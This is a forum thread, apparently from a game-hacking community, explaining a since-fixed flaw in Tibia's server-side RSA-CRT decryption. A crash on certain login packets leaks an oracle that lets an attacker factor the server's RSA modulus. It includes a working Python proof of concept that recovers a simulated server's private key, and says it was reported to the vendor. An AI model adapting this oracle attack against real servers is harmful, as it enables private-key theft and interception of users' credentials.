Tibia encryption not really hacker-resistant again

[Farsa]

no point knowing about it now, better after it gets fixed

[tulio150]

now i understood

so you managed to decrypt the login packets without the private RSA key from cipsoft?
or you managed to get the private keys?

[volf ram]

so you managed to decrypt the login packets without the private RSA key from cipsoft?
or you managed to get the private keys?

It's possible to factor the modulus, from this you get the private key.

Also, I think we can expect a client update some time next week:

Thank you for your request.

We appreciate you letting us know about this very much. We will have a very close
look at this and if there is such a problem, you can be sure that it will be taken
care of. Thanks again.

[jeremic]

volf ram, check you PM, I'm sure it will interest you

[asta]

volf ram, I hope you get a blessed shield :P

[tulio150]

well, we may expect a change in the key and the encryption routines right?

[tulio150]

so.. the key changed, what about the routines? did they fixed the bug?

[volf ram]

so.. the key changed, what about the routines? did they fixed the bug?

I expect they have, the method is not working anymore. The fixed code was server-side.

I'll prepare an explanation of what this was about, soon. Although it's quite mathy, so perhaps people won't be interested.

[DarkstaR]

I'm very interested.

[volf ram]

Sorry for the wait. Ok, on with it. First, it'd be good if you knew what RSA is, and the math behind it. Then you may also want to read up on why and how Chinese Remainder Theorem is used to speed up decryption.

When decrypting with CRT, at a certain point you calculate h = qinv*(m1 - m2) mod p. You use a bigint library and some of these do not support modulo operation of a negative number, so they crash if m1 < m2. It was probably the case with whatever bigint package Cipsoft was using.

The problem can be easily fixed though, and that's apparently what they did, by calculating qinv*(m1 + p - m2) mod p instead. The expression in parentheses is guaranteed to be non-negative as long as p > q. If you have arranged the factors of your RSA key the other way round (q > p), there is still chance the expression will yield negative value and your program will crash. The chance is about p/2q + q/2p - 1, in our case it was about 0.01. That is, 1 in every 100 login packets, a completely legitimate one, would trigger this bug, raise an exception (or w/e) and make the server disconnect you immediately while you were logging in.

Essentially, you have an access to an oracle which tells you, for any message m, if m1 + p - m2 < 0. Or in other terms (remember that m1 = m mod p and m2 = m mod q) whether m mod p + p < m mod q.

How can we make use of that?

1. Choose a random login packet m, where 0 <= m < 2^1016. Query the oracle with it, ie. send it to a login server. Keep repeating until you find one that gets you disconnected.

2. Now, find a dm such that m + dm doesn't get us disconnected (login server responds something like "wrong tibia version" or "wrong acc/password"). We can start with dm = 1 and keep increasing it 2x until we find a satisfactory one (increasing it 2x each time is crucial, if we increased it for example by +1 instead, the process would take exponentially many steps).

3. We have m that fails and m + dm that doesn't. Between them, find the smallest dm that doesn't fail. With binary search, we can do it in a sensible (non-exponential) number of steps.

4. Now we have m + dm that doesn't fail but m + dm - 1 does. From this we know that
(m + dm - 1) mod p + p < (m + dm - 1) mod q
(m + dm) mod p + p >= (m + dm) mod q
Notice that the second equation is just the first one with +1 added to both sides. But the m + dm that we found is such that adding one makes it cross over a multiple of q and "reset" the right hand side of the equation. Necessarily, (m + dm) mod q = 0, so q | m + dm, so gcd(n, m + dm) should reveal a factor. Done.

Cipsoft fixed it by changing the compromised RSA key and probably altered the server-side decryption code so that the factors are in the correct order and the situation m1 + p - m2 < 0 cannot happen anymore.

I'm attaching the program which I used for tests. It simulates factoring the OTS RSA key. If it were to handle the Cip server, the function ots_rsa_crt_oracle would obviously have to be rewritten (it should take the request m, encrypt it into a correct login packet, send it to a server and check the response; I don't attach it here because I don't want people spamming Cip). The program demonstrates however that the method is reasonably efficient. And also promotes the awesomeness of Python :-)

Edit: wtf code tag breaks long lines. Sigh.

import random

def gcd(a, b):
	while b:
		a, b = b, a % b
	return a

def egcd(a, b):
	x, y, lastx, lasty, b0 = 0, 1, 1, 0, b
	while b:
		a, b, q = b, a % b, a // b
		x, lastx = lastx - q*x, x
		y, lasty = lasty - q*y, y
	return lastx % b0

DEBUG = True

ots_n = 109120132967399429278860960508995541528237502902798129123468757937266291492576446330739696001110603907230888610072655818825358503429057592827629436413108566029093628212635953836686562675849720620786279431090218017681061521755056710823876476444260558147179707119674283982419152118103759076030616683978566631413
ots_e = 65537

def ots_rsa_crt_oracle(m, queries_count=[0]):
	queries_count[0] += 1
	ots_q = 14299623962416399520070177382898895550795403345466153217470516082934737582776038882967213386204600674145392845853859217990626450972452084065728686565928113
	ots_p = 7630979195970404721891201847792002125535401292779123937207447574596692788513647179235335529307251350570728407373705564708871762033017096809910315212884101
	ots_dp = 4886309137722172729208909250386672706991365415741885286554321031904881408516947737562153523770981322408725111241551398797744838697461929408240938369297973 # d % (p-1)
	ots_dq = 11141736698610418925078406669215087697114858422461871124661098818361832856659225315773346115219673296375487744032858798960485665997181641221483584094519937 # d % (q-1)
	c = pow(m, ots_e, ots_n)
	return pow(c, ots_dp, ots_p) + ots_p >= pow(c, ots_dq, ots_q)

def factor_rsa_crt_flaw(rsa_crt_oracle, e, n):
	# Find m such that rsa crt decryption fails. Then we have m mod p + p < m mod q < q
	# Such m will be found with q/2p + p/2q - 1 probability
	while True:
		m = random.randint(0, 2**(n.bit_length() - 8) - 1)
		if DEBUG: print('m candidate is', m)
		if not rsa_crt_oracle(m): break
	# Find dm such that m + dm rsa crt decryption succeeds but m + dm - 1 still fails
	# Then we have m mod q + dm - 1 < q and m mod q + dm = q
	# Establish dm lower bound
	dm1 = 1
	if DEBUG: print('dm lower bound is', dm1)
	# Calculate dm upper bound
	dm2 = 2
	while not rsa_crt_oracle(m + dm2):
		if DEBUG: print('dm upper bound is', dm2)
		dm2 *= 2
	if DEBUG: print('dm upper bound is', dm2)
	# Calculate dm by binary search dm1 <= dm <= dm2 until only 1 value remains
	while dm2 > dm1:
		dm = (dm2 + dm1) // 2
		if DEBUG: print('dm uncertainty interval size is', dm2 - dm1)
		if rsa_crt_oracle(m + dm):
			dm2 = dm
		else:
			dm1 = dm + 1
	assert not rsa_crt_oracle(m + dm1 - 1)
	assert rsa_crt_oracle(m + dm1)
	# Now that m mod q + dm = q, it means q | m + dm so gcd reveals a factor
	q = gcd(n, m + dm1)
	if DEBUG: print(q, 'should divide n')
	assert n % q == 0
	if DEBUG: print(rsa_crt_oracle.__defaults__[0][0], 'oracle queries')
	if DEBUG: print('private key is', egcd(e, (n//q - 1)*(q - 1)))
	return q, n // q

p, q = factor_rsa_crt_flaw(ots_rsa_crt_oracle, ots_e, ots_n)

And no, they didn't give me a blessed shield. Next one I find, I keep private :-p